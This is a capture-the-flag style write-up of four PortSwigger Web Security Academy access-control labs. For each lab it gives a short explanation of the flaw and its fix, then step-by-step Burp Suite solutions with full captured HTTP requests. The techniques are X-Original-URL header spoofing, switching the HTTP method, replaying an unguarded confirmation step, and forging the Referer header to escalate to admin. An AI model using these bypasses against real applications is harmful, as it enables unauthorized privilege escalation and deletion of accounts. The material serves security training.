Access control
PortSwigger Web Security Academy · Practitioner
- #Access control

URL-based access control can be circumvented
The vulnerability
The front end blocks /admin. The back end also reads the path from the X-Original-URL header, so you ask the front end for / and the back end for /admin.
Fix: Check access in the application itself, and ignore headers like X-Original-URL if you don’t need them.
The lab
This website has an unauthenticated admin panel at /admin, but a front-end system has been configured to block external access to that path. However, the back-end application is built on a framework that supports the X-Original-URL header. To solve the lab, access the admin panel and delete the user carlos.
Solution
1. Attempt Direct Admin Access: Go to the /admin path on the website. Access is blocked with an HTTP/2 403 Forbidden response, indicating a front-end restriction.
2. Intercept a Request and Send to Repeater: In Burp Suite, go to Proxy -> HTTP history. Send any GET / request (or another suitable request) to Repeater.
3. Test for Header Bypass Vulnerability: In Repeater, add a new header to the request. Try headers like X-Rewrite-URL or X-Original-URL with an invalid path (e.g., /invalid). Send the request. If the backend processes the header, you might get a HTTP/2 404 Not Found response for the invalid path, confirming the header’s influence. For this lab, X-Original-URL will cause a HTTP/2 404 Not Found.

4. Bypass Access Control to Admin Panel: With X-Original-URL confirmed as effective, change its value to /admin while keeping the main request path as /. Send the request. An HTTP/2 200 OK response should now grant access to the admin panel.
5. Delete the Target User: Send a GET request to /admin/delete?username=carlos. This will usually be done by updating the path in Repeater (the X-Original-URL header should still be /admin, or you can remove it if /admin is now directly accessible after the bypass). The HTTP/2 302 Found response confirms the user has been deleted, and the lab is solved.

Method-based access control can be circumvented
The vulnerability
Only admins may change a role with POST. Nobody thought of GET, and it does the same thing.
Fix: Check permissions for the action, not for the HTTP method.
The lab
This lab implements access controls based partly on the HTTP method of requests. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin. To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.
Solution
1. Log in as Administrator (for observation): Log in to the application using the administrator credentials: administrator:admin.
2. Observe User Role Update Functionality: In the admin panel, find the function to upgrade a user’s role. Upgrade a user (e.g., carlos) to “ADMIN” to generate a legitimate upgrade request.
3. Intercept and Send Request to Repeater: In Burp Suite, go to Proxy -> HTTP history. Find the POST /admin-roles request that performed the upgrade and right-click to Send to Repeater.
POST /admin-roles HTTP/2
Host: 0a4c00ff0398ce75814e8e5c00970066.web-security-academy.net
Cookie: session=3SNZVJHolitz2MYDLMfOb5zvcVc9TCiJ
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0a4c00ff0398ce75814e8e5c00970066.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,application/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4c00ff0398ce75814e8e5c00970066.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,de;q=0.8
Priority: u=0, i
username=carlos&action=upgrade
4. Log in as Wiener and Update Cookie: Log out of the administrator account and log in as wiener with password peter. In Repeater, replace the session cookie in your intercepted request with wiener’s cookie. Also, change the username parameter in the request body from carlos to wiener. Send the POST request. You should receive an HTTP/2 401 Unauthorized response, as expected for a POST from a non-admin.
5. Circumvent Access Control by Changing Method: While still in Repeater with Wiener’s request, right-click anywhere in the request editor and select ”Change request method” (or manually change POST to GET). Send the GET request. You should now receive an HTTP/2 302 Found response. This indicates that your wiener account has been upgraded to administrator, and the lab is solved.
Multi-step process with no access control on one step
The vulnerability
Changing a role takes two steps. The first one checks whether you are an admin, the confirmation doesn’t. So you skip the first step.
Fix: Check permissions in every step.
The lab
This lab has an admin panel with a flawed multi-step process for changing a user’s role. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin. To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.
Solution
1. Log in as Administrator (for observation): Log in to the application using the administrator credentials: administrator:admin.
2. Observe Multi-Step Role Upgrade: Go to the Admin panel and initiate the process to upgrade a user (e.g., carlos). Follow both steps: the initial upgrade action and then the confirmation step.
3. Intercept Both Requests: In Burp Suite, go to Proxy -> HTTP history. Observe both POST /admin-roles requests involved in the upgrade process. The first initiates the upgrade, and the second confirms it.
First Request (Initial Upgrade Action):
POST /admin-roles HTTP/2
Host: 0af800060351ad59806ba8ca00b80003.web-security-academy.net
Cookie: session=23O4NJLaM7Vcy5FrCDwtcJDRSuOSGcs9
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0af800060351ad59806ba8ca00b80003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af800060351ad59806ba8ca00b80003.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,de;q=0.8
Priority: u=0, i
username=carlos&action=upgrade
Second Request (Confirmation Step):
POST /admin-roles HTTP/2
Host: 0af800060351ad59806ba8ca00b80003.web-security-academy.net
Cookie: session=23O4NJLaM7Vcy5FrCDwtcJDRSuOSGcs9
Content-Length: 45
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0af800060351ad59806ba8ca00b80003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af800060351ad59806ba8ca00b80003.web-security-academy.net/admin-roles
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,de;q=0.8
Priority: u=0, i
action=upgrade&confirmed=true&username=carlos
4. Send Second Request to Repeater and Log Out: Send the second request (the confirmation step) to Repeater. Then, log out of the administrator account.
5. Log In as Wiener and Exploit: Log in as wiener with password peter. In Repeater, update the session cookie in your saved confirmation request with wiener’s current cookie. Change the username parameter in the request body from carlos to wiener. Send this modified request.
6. Verify Privilege Escalation: You should receive an HTTP/2 302 Found response, indicating a successful role update. Your wiener account has now been promoted to administrator, and the lab is solved.
Referer-based access control
The vulnerability
The application lets you change roles if the request seems to come from the admin page. It finds that out from the Referer header, which you can set to anything.
Fix: Don’t use the Referer header to decide what someone may do.
The lab
This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin. To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.
Solution
1. Log in as Administrator (for observation): Log in to the application using the administrator credentials: administrator:admin.
2. Observe User Role Upgrade Request: In the admin panel, initiate an upgrade for a user (e.g., carlos).
3. Intercept and Send Request to Repeater: In Burp Suite, go to Proxy -> HTTP history. Find the GET /admin-roles?username=carlos&action=upgrade request. Right-click and Send to Repeater. Note the Referer header pointing to /admin.
GET /admin-roles?username=carlos&action=upgrade HTTP/2
Host: 0aa50067048f23b38061bd1d00f7000f.web-security-academy.net
Cookie: session=nnmIrMpnjSCJxg04Qm968PIMFbOzbKxS
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa50067048f23b38061bd1d00f7000f.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,de;q=0.8
Priority: u=0, i
4. Log in as Wiener and Modify Request: Log out of the administrator account and log in as wiener with password peter. In Burp Repeater, replace the session cookie in your intercepted request with wiener’s current cookie. Change the username parameter from carlos to wiener. Make sure the `Referer` header remains set to the admin URL (e.g., https://[LAB_ID].web-security-academy.net/admin). Send the request.
5. Verify Privilege Escalation: You should receive an HTTP/2 302 Found response, indicating a successful role upgrade. Your wiener account has now been promoted to administrator, and the lab is solved.